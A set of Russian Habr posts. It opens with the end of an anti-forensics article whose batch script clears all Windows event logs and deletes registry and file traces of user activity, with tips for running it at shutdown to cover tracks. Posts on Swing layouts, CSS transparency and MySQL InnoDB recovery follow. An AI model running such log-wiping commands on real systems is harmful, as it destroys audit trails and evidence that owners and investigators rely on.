REM но, если в текущий момент с компом все нормально и его не надо "анализировать и чинить", то тоже ничего страшного
REM !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
REM ----------------------------------------------------------------------------------------
REM Меню выбора пользователя
ECHO.
ECHO Не обязательно!
ECHO но желательно закрыть все программы и данный файл, если он открыт в текстовом редакторе, а после завершения - перезагрузиться
ECHO.
ECHO.
REM Часть информации останется, и будет таки отображаться в утилитах NirSoft
ECHO 1 - Очистка основных логов в реестре
REM Удалить все, что удалось найти.
REM (почти вся информация из утилит NirSoft пропадет)
REM При этом:
REM 1. Немного замедлится следующая загрузка ПК и первый, после нее, запуск некоторых программ (из-за удаления Perfect и SuperFetch)
REM 2. Удалятся сведения о ранее возникших ошибках (Minidump)
REM 3. В меню "Пуск" очистится список ранее запущенных программ
REM 4. Будет очищен список тех программ, для которых пользователь задал "запускать в режиме совместимости или от имени администратора".
REM (надо будет задавать для них совместимость заново)
ECHO 2 - Очистка всех логов в реестре, файлов Perfect и Minidump
REM См. п.2 + сотрутся ранее записанные данные журналов Windows
ECHO 3 - Очистка всех логов, файлов Perfect и журналов Windows
ECHO или нажмите ENTER для выхода
ECHO.
SET /p doset="Выберите действие: "
ECHO.
REM ----------------------------------------------------------------------------------------
REM ----------------------------------------------------------------------------------------
REM Проверка выбора пользователя. Если не 1 и не 2 и не 3 - выход
IF %doset% NEQ 1 (
IF %doset% NEQ 2 (
IF %doset% NEQ 3 EXIT
)
)
REM ----------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM Очистка всех журналов Windows, если пользователь выбрал в меню 3. Проводим вначале, чтоб в логах не осталось вызовов wevtutil
REM утилиты NirSoft - LastActivityView
IF %doset% EQU 3 (
ECHO.
ECHO ОЧИСТКА ВСЕХ ЖУРНАЛОВ Windows
FOR /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
ECHO.
ECHO Выполнено
ECHO.
)
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM ShellBag. История запуска приложений и доступа к папкам, связанная с "оболочкой"
REM утилиты NirSoft - LastActivityView, ExecutedProgramsList, ShellBagsView
ECHO.
ECHO ОЧИСТКА ИСТОРИИ ShellBag - реестр
REG DELETE "HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache" /va /f
REG DELETE "HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f
REG DELETE "HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\BagMRU" /f
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Bags" /f
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM Explorer. История запуска приложений связанная с "Проводником"
ECHO.
ECHO ОЧИСТКА ИСТОРИИ Explorer - реестр
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM ComDlg32. История диалогов "открыть\сохранить" и "последних мест посещений"
REM утилиты NirSoft - LastActivityView
ECHO.
ECHO ОЧИСТКА ИСТОРИИ OpenSave и LastVisited - реестр
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\FirstFolder" /va /f
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU" /va /f
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRULegacy" /va /f
REM (утилиты NirSoft - OpenSaveFilesView)
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU" /f
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU"
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM если пользователь выбрал в меню не 1 т.е. 2 или 3
IF %doset% NEQ 1 (
REM UserAssist. Очистка списока запущенных программ в меню "Пуск"
REM утилиты NirSoft - UserAssistView
ECHO.
ECHO ОЧИСТКА ИСТОРИИ UserAssist - реестр
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist" /f
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist"
ECHO.
)
REM ------------------------------------------------------------------------------------------
REM AppCompatCache
ECHO.
ECHO ОЧИСТКА ИСТОРИИ AppCompatCache - реестр
REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" /va /f
REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\AppCompatCache" /va /f
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM DiagnosedApplications. Диагностика утечек памяти в приложении ОС Windows
ECHO.
ECHO ОЧИСТКА ИСТОРИИ DiagnosedApplications - реестр
REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications" /f
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications"
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM Получение SID - идентификатор безопасности текущего пользователя
FOR /F "tokens=2" %%i IN ('whoami /user /fo table /nh') DO SET usersid=%%i
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM Search. История поиска
ECHO.
ECHO ОЧИСТКА ИСТОРИИ Search - реестр
REG DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Search\RecentApps" /f
REG ADD "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Search\RecentApps"
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM BAM.
REM По идее, при перезагрузке затрется само.
REM Но можно сделать отдельный bat и запускать, например, после работы с portable-приложениями
ECHO.
ECHO ОЧИСТКА ИСТОРИИ службы Background Activity Moderator - реестр
REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bam\UserSettings\%usersid%" /va /f
REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\bam\UserSettings\%usersid%" /va /f
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM AppCompatFlags
ECHO.
ECHO ОЧИСТКА ИСТОРИИ AppCompatFlags - реестр
REM утилиты NirSoft - ExecutedProgramsList
REG DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store" /va /f
REM если пользователь выбрал в меню не 1 т.е. 2 или 3
IF %doset% NEQ 1 (
REM Список программ, для которых задан "режим совместимости" или "запускать от имен администратора"
REM утилиты NirSoft - AppCompatibilityView
REG DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /va /f
)
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM История "монтирования" дисков в т.ч. и TrueCrypt
ECHO.
ECHO ОЧИСТКА ИСТОРИИ MountedDevices - реестр
ECHO.
REG DELETE "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f
REG ADD "HKEY_USERS\%usersid%\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
REM Очистка списков быстрого перехода
ECHO.
REM утилиты NirSoft - JumpListsView, RecentFilesView
ECHO ОЧИСТКА ИСТОРИИ Recent - файловая система
DEL /f /q %APPDATA%\Microsoft\Windows\Recent\*.*
DEL /f /q %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*.*
DEL /f /q %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*.*
ECHO Выполнено
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
ECHO.
ECHO ОЧИСТКА ИСТОРИИ Panther - файловая система
DEL /f /q %systemroot%\Panther\*.*
ECHO Выполнено
ECHO.
REM ------------------------------------------------------------------------------------------
REM ------------------------------------------------------------------------------------------
ECHO.
ECHO ОЧИСТКА ИСТОРИИ AppCompat - файловая система
DEL /f /q %systemroot%\appcompat\Programs\*.txt
DEL /f /q %systemroot%\appcompat\Programs\*.xml
DEL /f /q %systemroot%\appcompat\Programs\Install\*.txt
DEL /f /q %systemroot%\appcompat\Programs\Install\*.xml
ECHO Выполнено
ECHO.
REM ----
REM ------------------------------------------------------------------------------------------
IF %doset% NEQ 1 (
ECHO.
REM Prefetch. Удаление файлов, оптимизирующих запуск приложений. Windows в следующий раз загрузится медленнее
REM утилиты NirSoft - LastActivityView, ExecutedProgramsList
ECHO ОЧИСТКА ИСТОРИИ Prefetch - файловая система
DEL /f /q %systemroot%\Prefetch\*.pf
DEL /f /q %systemroot%\Prefetch\*.ini
DEL /f /q %systemroot%\Prefetch\*.7db
DEL /f /q %systemroot%\Prefetch\*.ebd
DEL /f /q %systemroot%\Prefetch\*.bin
REM SuperFetch. Удаление баз оптимизации SuperFetch
DEL /f /q %systemroot%\Prefetch\*.db
REM Trace. Удаление файлов трассировки
DEL /f /q %systemroot%\Prefetch\ReadyBoot\*.fx
ECHO Выполнено
ECHO.
ECHO.
ECHO ОЧИСТКА ИСТОРИИ Minidump - файловая система
REM Удаление дампов ошибок
REM утилиты NirSoft - LastActivityView
DEL /f /q %systemroot%\Minidump\*.*
ECHO Выполнено
)
ECHO.
REM ------------------------------------------------------------------------------------------
PAUSE
EXIT
:do_clear
ECHO Очистка журнала %1
wevtutil.exe cl %1
GOTO :eof
:errNoAdmin
COLOR 4
ECHO Необходимо запустить этот скрипт от имени администратора
ECHO.
PAUSE
```
**Финал**
После использования первого или второго варианта можно запустить утилиты NirSoft, для того, чтоб посмотреть, достигли ли мы желаемого эффекта.
Профит… Теперь, главное, покормить собак и ничего не трогать. А то она опять начнет оперу писать…
**Возможные сценарии использования решений bat и CCleaner**
1. Использовать по отдельности. Тем более, что затирать журналы имеет смысл уж совсем в «приватных случаях»
2. Сделать единый bat-файл, который сначала затирает журналы, а вместо всего остального — вызывает CCleaner, то есть, после стирания журналов, поставить вызов: «C:\Program Files\CCleaner\CCleaner64.exe» /AUTOS
3. Поставить этот bat-файл в автозагрузку (что, вероятно, заодно решит проблему с запуском CCleaner на Windows 10)
4. Поставить bat-файл на момент завершения работы Windows, что правильнее в смысле «заметания следов». Через редактор групповых политик gpedit.msc — «Конфигурация компьютера» — «Конфигурация Windows» — «Сценарии (запуск/завершение)» — параметр «Завершение работы».
### Источники
1. Утилита [Procmon](https://technet.microsoft.com/ru-ru/sysinternals/processmonitor.aspx) из состава SysinternalsSuite имени Марка Руссиновича, c которой нередко все тайное — становится явным… В том числе и куда обращаются утилиты NirSoft. [Его блог на тему использования утилит (рус.)](https://blogs.technet.microsoft.com/mark_russinovich/).
2. Статьи Windows registry and forensics: [часть 1](https://digitalf0rensics.wordpress.com/2014/01/17/windows-registry-and-forensics-basics/) и [часть 2](https://digitalf0rensics.wordpress.com/2014/01/17/windows-registry-and-forensics-part2/). (анг.)
3. Статьи блога [Компьютерная криминалистика (форензика) сайта CodeBy](https://codeby.net/forum/threads/kompjuternaja-kriminalistika-forenzika-katalog-statej.64218/). Цикл статей [Forensics Windows Registry (рус.)](https://codeby.net/forum/threads/forensics-windows-registry.64135/).
4. Статья [Очистка журналов Windows (анл.)](https://winaero.com/blog/how-to-clear-the-windows-event-log-from-the-command-line/).
5. Статья [Cоздание собственных правил CCleaner (анг.)](https://www.ccleaner.com/docs/ccleaner/advanced-usage/ccleaner-ini-files).
Кстати, а почему Forensic resistance 1?
Сие станет понятно, если дело когда-нибудь дойдет до 2. | https://habr.com/ru/post/424161/ | null | ru | null |
# Layout без layout'ов
Библиотека Swing появилась примерно 15 лет назад и все эти 15 лет КАЖДЫЙ кто начинает программировать на Java задаёт один и тот же вопрос:
— Почему я не могу просто добавить кнопки с полями на форму без изучения всех этих LayoutManager'ов?
В стандарной JRE содержится больше десятка классов для компоновки элементов (FlowLayout, GroupLayout и т.п.), постоянно появляются новые компоновщики типа MigLayout но ситуация не улучшается.
Рассмотрим варианты создания форм типа этой:
На скриншоте видно что некоторые поля меняют ширину в зависимости от размера формы, кнопки привязаны к границам окна т.е. компоновка не является тривиальным выставлением константных размеров/положения компонентов.
##### Использование визуального редактора типа Netbeans Matisse
Пример формы:
Рассмотрим код сгенерированный рисовалкой:
```
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jLabel1, javax.swing.GroupLayout.DEFAULT_SIZE, 126, Short.MAX_VALUE)
.addComponent(jLabel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jButton1)
.addComponent(jPasswordField1)
.addComponent(jTextField2)
.addComponent(jTextField1))
.addContainerGap(149, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel2))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jPasswordField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel3))
.addGap(18, 18, 18)
.addComponent(jButton1)
.addContainerGap(166, Short.MAX_VALUE))
);
pack();
```
Код ужасен. Абсолютно невозможно разобраться что где находится и как что-то поменять руками. И это всего лишь несколько полей с одной кнопкой. А если нужно динамически подстраивать расположение/размер компонентов под размеры формы то количество кода увеличится в разы.
##### Вариант без layout'ов
Можно просто отключить компоновщик контейнера методом **setLayout(null)** и выставить размеры контролов вручную, через **setSize** и **setLocation** примерно как в старом добром Visual Basic'е.
Способ топорный но иногда это проще чем тратить время на полуавтоматическую компоновку.
##### Мой собственный вариант
Я опубликовал библиотеку для простого и наглядного рисования форм руками. Исходный код и пример использования можно скачать на <https://code.google.com/p/layout-less/>
Проект использует binding из библиотеки описанной в статье на <http://habrahabr.ru/blogs/java/127076/>
Код формы из первого скриншота выглядит так:
```
layoutless = new Layoutless();
int labelsWidth=150;
layoutless
.item(new ComponentBox()
.component(jLabel1)
.width(labelsWidth)
.height(22)
.x(0)
.y(8+25*0)
)
.item(new ComponentBox()
.component(jTextField1)
.width(layoutless.width().minus(labelsWidth).minus(16).minus(50))
.height(22)
.x(labelsWidth+8)
.y(8+25*0)
)
.item(new ComponentBox()
.component(jButton2)
.width(49)
.height(21)
.x(layoutless.width().minus(58))
.y(8+25*0)
)
.item(new ComponentBox()
.component(jLabel2)
.width(labelsWidth)
.height(22)
.x(0)
.y(8+25*1)
)
.item(new ComponentBox()
.component(jTextField2)
.width(layoutless.width().minus(labelsWidth).minus(16))
.height(22)
.x(labelsWidth+8)
.y(8+25*1)
)
.item(new ComponentBox()
.component(jLabel3)
.width(labelsWidth)
.height(22)
.x(0)
.y(8+25*2)
)
.item(new ComponentBox()
.component(jPasswordField1)
.width(layoutless.width().minus(labelsWidth).minus(16))
.height(22)
.x(labelsWidth+8)
.y(8+25*2)
)
.item(new ComponentBox()
.component(jButton1)
.width(90)
.height(27)
.x(labelsWidth+8)
.y(layoutless.height().minus(40))
)
.item(new ComponentBox()
.component(iconLabel)
.width(128)
.height(128)
.x(0)
.y(layoutless.height().minus(140))
)
;
this.add(layoutless, BorderLayout.CENTER);
```
— описание компоновки полей вполне читабельно.
Дополнительно:
— размеры и положение полей могут быть динамически привязаны к границам контейнера или другим переменным
— компоненты могут накладываться друг на друга (см. картинку с ключами) | https://habr.com/ru/post/127339/ | null | ru | null |
# Правильная прозрачность
Однажды мне понадобилось сделать прозрачные боковые поля для одного дизайна. Я решил использовать прозрачность CSS.
Но каково было узнать, что все элементы внутри прозрачного блока тоже становятся прозрачны и это никак не изменить :-(, тогда мне пришлось использовать прозрачный png.
Недавно я наткнулся на замечательную технику, позволяющую устранить эту проблему, ею я и хочу с вами любезно поделиться.
Техника заключается в подложке прозрачного блока в основной блок, который вы хотите сделать прозрачным.
Вот так выглядит наш блок:
> <div id=«container»>
>
>
>
> <h1>Привет, я прозрачный блокh1>
>
>
>
> Текст внутри блока. Текст внутри блока. Текст внутри блока.
>
>
>
> div>
>
>
Теперь добавим прозрачную подложку:
> <div id=«container»>
>
>
>
> <div class=«transparency»>
>
>
>
> div>
>
>
>
> <div class=«content»>
>
> <h1>Привет, я прозрачный блокh1>
>
> Текст внутри блока. Текст внутри блока. Текст внутри блока.
>
> div>
>
> div>
Теперь перейдем к оформлению css:
> #container {
>
> padding:20px;
>
> width:300px;
>
> color:#FFFFFF;
>
> position:relative;
>
> float:left;
>
> margin-left:20px;
>
> overflow:hidden;
>
> }
>
>
>
> #container .transparency {
>
> opacity:0.5;
>
> filter:alpha(opacity=50);
>
> -moz-opacity:0.5;
>
> background-color:#000000;
>
> width:340px;
>
> height:1500px;
>
> position:absolute;
>
> top:0px;
>
> left:0px;
>
> z-index:-1;
>
> }
>
>
>
> .content {
>
> position:relative;
>
> }
Готово! Теперь все элементы внутри блока не изменят свою прозрачность. Для полного счастья, я решил написать небольшой скрипт на jQuery, который всё автоматизирует.
Вам будет достаточно лишь добавить класс `transp` к вашему блоку:
> <div id=«container» class=«transp»>
>
>
>
> <h1>Привет, я прозрачный блокh1>
>
>
>
> Текст внутри блока. Текст внутри блока. Текст внутри блока.
>
>
>
> div>
>
>
И конечно, сам jQuery код:
> $(document).ready(function() {
>
> $(".transp").wrapInner('').children().addClass(«content»);
>
> $(".transp .content").before('').prev().addClass(«transparency»);
>
> });
>
>
На мастера jQuery я, конечно, не претендую, но это работает!
> [Посмотреть демо](http://chernev.ru/css-opacity/)
>
> [Скачать демо](http://chernev.ru/css-opacity.zip)
>
>
>
> [Подписаться на заметки от Чернева](http://feeds.feedburner.com/chernev)
>
> | https://habr.com/ru/post/30565/ | null | ru | null |
# История восстановления базы MySQL из файлов (InnoDB)
Как говорит народная мудрость, “админы делятся на две категории: те, которые делают бэкапы, и те, которые уже делают”. В моем случае ответственность за несделанный бэкап упала на разработчика, то есть на меня самого. Данная статья посвящена тому, как найти выход из ситуации, подобной описанной. Надеюсь она будет полезна тем, кто не имея такого опыта, может столкнуться с подобной ситуацией.
В общем, дело было так…
#### Вступление
~~В далеком царстве, в тридевятом государстве~~ В одном из государственных административных учреждений, которое обслуживается нашим предприятием, стоял сервер. В качестве сервера использовался обычный настольный компьютер с не особо мощным двухядерным процессором, жестким диском на 320 Гб, без всяких там “ненужных” RAID-массивов, ничего “лишнего”, c установленной на нем cерверной Windows, кажется, 2003. И выполнял он некоторые серверные задачи, о которых я-то в силу своей должности не был особо осведомлен. Работал так практически без перерыва порядка нескольких лет.
И вот, в один прекрасный день, позвал меня с моей напарницей к себе начальник отдела, дал нам задание разработать систему для этого учреждения с использованием в качестве СУБД MySQL Server 5.1. Систему мы разработали, все ей были весьма довольны, и пришла пора ее внедрять. Без всяких проблем мы с одним из наших админов, придя в офис учреждения, установили на вышеупомянутый сервер MySQL 5.1, развернули на ней базу, установили клиентское приложение на рабочие машины, запустили процесс внедрения. Работники учреждения были весьма рады системе, но осваивали ее медленно ввиду загруженности работой, совещаниями, заседаниями, обращениями граждан и т.д. Потихоньку вводили информацию, но сильно “растягивали удовольствие”. Надо было уже потихоньку начинать задумываться о стратегии бэкапа/восстановления, но я все думал о том, что это и не совсем-то мое дело, ведь я-то не админ, а разработчик. Но и админам это было совершенно безразлично. Я же себя утешал лишь тем, что пока информации мало, вот будет побольше, и если никто не начнет делать бэкапы, начну уже я. Оглядываясь назад, теперь я вижу, как легко можно было предсказать последующие события.
Через некоторое время одного из ключевых сотрудников настигло “просветление”, и за очень малый промежуток времени было введено значительное количество информации в систему, практически вся информация, которая могла быть введена на тот момент. Я об этом и думать не думал, все полагал, что они также медленно присматриваются к системе, ничего толком еще не вводя, работая себе, как и раньше, только со своими бумагами. Сотрудник же ввел быстренько информацию и ушел в отпуск на месяц.
#### Основные боевые действия
И вот, наступил другой “прекрасный” день, сервер упал. Причем, не программно, а аппаратно – “полетел” жесткий диск. Далее жесткий диск был сдан в фирму, занимающуюся восстановлением данных, и значительная часть информации с него была восстановлена. Однако, админы при восстановлении самого сервера, восстановили только всю информацию с диска D, про нашу MySQL никто и не вспомнил (по “счастливой случайности” она оказалась поставлена на диск C). Все это время я себе спокойно занимался другими проектами, про эти события и знать не знал.
Прошло еще некоторое время, и вышеупомянутый сотрудник учреждения выходит из отпуска. Звонит мне и говорит о том, что не может войти в систему. Я, как обычно, спрашиваю, какое сообщение при этом выдает система, и все такое, сходу понимаю, что что-то не так с подключением к базе. Далее узнаю уже от нее эту историю с падением сервера, с тем, что там “что-то меняли”, и понимание мое становится еще более глубоким: теперь я понял, что нашей базы данных вообще нет на сервере. Причем, как выяснилось, нет ни базы, ни самой СУБД. Расспрашиваю админов, что же там все-таки было, что восстановили, что нет… прихожу к неутешительному выводу, что базы нет, и большой вопрос, удастся ли ее восстановить. Беру себе копию восстановленной с убитого жесткого диска информации и начинаю в ней копаться.
Первым делом ищу папку Program Files, куда ставится по умолчанию MySQL. Не нахожу, но зато нахожу папку с файлами данных MySQL, в ней папка с именем той самой нашей базы. Небольшой заряд оптимизма немного разогнал тучи моего отчаяния, но… глядя на файлы **\*.MYD**, в которых по идее должны бы быть записи таблиц, вижу, что размер их слишком мал для такого количества информации, которое было введено. Бинарные логи также не были включены, и этот вариант автоматически отпадал. Начинаю думать над этим вопросом и вспоминаю, что можно взглянуть на девелоперскую базу на нашем тестовом сервере, что я и сделал. Там я увидел, что большинство таблиц – причем, самых важных – работают на движке InnoDB, а значит, что их записи хранятся отдельно в файле **ibdata\*** (в моем случае, только **ibdata1**). Выхожу на уровень выше и вижу этот заветный файл. Рядом также два лога движка InnoDB: **ib\_logfile0** и **ib\_logfile1**. Открыв один из логов для просмотра в текстовом редакторе среди “кракозябр” я также увидел и куски самой информации, и тут я понял, что восстановить базу можно, по крайней мере, теоретически.
Надо было выбрать машину, где произвести попытку восстановления самой базы. Т.к. во время разработки я пользуюсь тестовым сервером, доступ к которому на уровне файловой системы мне без боя никто не даст, я решаю установить MySQL Server 5.1 и MySQL GUI Tools прямо на свою девелоперскую машину, работающую под Windows XP. Итак, все стоит, СУБД запущено, и подумав, как бы подступиться к задаче, я решаю сначала сделать экспорт скрипта создания БД с тестового сервера, и запускаю его потом на своей машине. Теперь у меня есть пустая база данных с полностью идентичной структурой и со всеми хранимыми процедурами. Останавливаю сервис MySQL, и копирую все содержимое из папки с именем нашей базы с упавшего сервера в аналогичную папку свежеустановленной локально у себя MySQL (папка с именем базы, вложенная в папку **data**, расположенную по пути для хранения файлов с данными указанному во время установки MySQL). При настройке локальной MySQL Server я решил указать для файлов данных InnoDB отдельную папку, куда далее скидываю восстановленный файл **ibdata1**. После этого перекидываю файлы InnoDB-логов (**ib\_logfile0** и **ib\_logfile1**) прямо в свою папку **data**, где они должны быть по умолчанию.
Очередная попытка запустить MySQL снова не увенчалась успехом. Не имея реально боевого опыта в администрировании СУБД (за исключением опыта, полученного на курсах, но, опять же, по другим СУБД) я решил пойти путем эксперимента, хотя сейчас понимаю, что он совсем не был необходим. Удаляю файлы логов InnoDB, запускаю сервис MySQL и вижу, что он создает сами файлы InnoDB-логов с такими же названиями, но с размером в 20Мб.
Смотрю размер “своих” файлов с логами с упавшего сервера и вижу, что он существенно отличается и составляет 81Мб. Что-ж… останавливаю сервер, и захожу через MySQL Administrator в настройки переменных запуска (Startup Variables), вкладка InnoDB. Задаю размер log-файлов равным 81 Мб и закидываю обратно “свои” лог-файлы. MySQL запустился, но данных в интересующих меня таблицах я не увидел (хотя в таблицах, работавших на движке MyISAM, они уже были восстановлены). Немного пошарив по сети, я вычитал, что нужно запустить MySQL в режиме восстановления, для чего нужно задать значение стартовой переменно InnoDB\_force\_recovery равным 6. Попробовал сделать это через MySQL Administrator (ясное дело, что можно задавать параметры через GUI, а можно и редактировать файлы my.ini или my.cnf [в зависимости от версии MySQL и выбранной ОС] вручную), и, то ли я что-то не доделал, то ли что-то недосмотрел, но нужного результата не увидел. MySQL запустился как обычно, но про восстановление не сказал ни слова. “Что-ж,” – подумал я – “попробуем тогда через консоль, и еще раз явно пропишем параметр **innodb\_force\_recovery**”.
Запускаю коммандную строку Windows и ввожу:
`**> mysqld --console --innodb\_force\_recovery=6**`
На что в ответ получаю:
`110727 10:31:52 [Note] Plugin 'FEDERATED' is disabled.
110727 10:31:52 InnoDB: Initializing buffer pool, size = 40.0M
110727 10:31:52 InnoDB: Completed initialization of buffer pool
110727 10:31:52 InnoDB: Operating system error number 32 in a file operation.
InnoDB: The error means that another program is using InnoDB's files.
InnoDB: This might be a backup or antivirus software or another instance
InnoDB: of MySQL. Please close it to get rid of this error.`
Грешить на антивирус особого смысла не было, и я решил остановить выполнение комманды при помощи CTRL+break, затем повторить еще раз команду с включенным Task Manager. Перед запуском команды на выполнение я просмотрел список процессов, чтобы убедиться в том, что ни один экземпляр сервиса MySQL не запущен. И снова повторил команду. Увидев то же самое сообщение, я заглянул в Task Manager и увидел, что почему-то запущено сразу два процесса с именем mysqld, причем, один запущен как системный, а другой – от имени моего пользователя. Убив системный процесс, я “разорвал порочный круг”, и выполнение пошло дальше:
`**> mysqld --console --innodb\_force\_recovery=6**
110727 10:31:52 [Note] Plugin 'FEDERATED' is disabled.
110727 10:31:52 InnoDB: Initializing buffer pool, size = 40.0M
110727 10:31:52 InnoDB: Completed initialization of buffer pool
110727 10:31:52 InnoDB: Operating system error number 32 in a file operation.
InnoDB: The error means that another program is using InnoDB's files.
InnoDB: This might be a backup or antivirus software or another instance
InnoDB: of MySQL. Please close it to get rid of this error.
110727 10:32:02 InnoDB: Operating system error number 32 in a file operation.
InnoDB: The error means that another program is using InnoDB's files.
InnoDB: This might be a backup or antivirus software or another instance
InnoDB: of MySQL. Please close it to get rid of this error.
110727 10:32:12 InnoDB: Operating system error number 32 in a file operation.
InnoDB: The error means that another program is using InnoDB's files.
InnoDB: This might be a backup or antivirus software or another instance
InnoDB: of MySQL. Please close it to get rid of this error.
**InnoDB: The user has set SRV\_FORCE\_NO\_LOG\_REDO on
InnoDB: Skipping log redo
110727 10:32:22 InnoDB: Started; log sequence number 0 0
InnoDB: !!! InnoDB\_force\_recovery is set to 6 !!!
110727 10:32:22 [Note] Event Scheduler: Loaded 0 events
110727 10:32:22 [Note] mysqld: ready for connections.
Version: '5.1.58-community' socket: '' port: 3306 MySQL Community Server (GPL)**`
Пока что я не понял, в чем было дело, почему запускалось сразу два процесса. В том числе и потому, что радость охватила меня, и подключившись к базе данных через Toad for MySQL я увидел, что данные восстановленны! Эта радость отодвинула все вопросы на второй план.
#### Осознание победы и контрольный выстрел
“Не отходя от кассы”, я делаю дамп базы, чтобы впоследствии восстановить ее на рабочем сервере – том самом герое этой “сказки”, которому всего-то навсего поменяли жесткий диск и переустановили систему.
`**> mysqldump --routines -u "user" -p db\_name > [path\]db\_name.sql**`
Ввожу пароль, и получаю скрипт создания и заполнения всех таблиц базы, а также всех хранимых процедур в файле db\_name.sql в указанной в параметре папке. Информация спасена!
Затем уже на рабочем сервере устанавливаю сам MySQL, настраиваю его, создаю пустую базу и скидываю в нее дамп:
`**> mysql -u "user" –p db\_name < [path\]db\_name.sql**`
В настройках клиентского приложения менять ничего не пришлось, т.к. ip-адрес и сетевое имя сервера остались теми же, что и были до падения. Зашли в систему, проверили, и – о, чудо! – вся информация на месте. Тут и сказочке конец… но остановимся на “морали сей басни".
#### Выводы и заключение
Для себя я в очередной раз понял несколько важных вещей, а именно:
1. Стратегия бэкапа/восстановления должна определяться уже на стадии разработки;
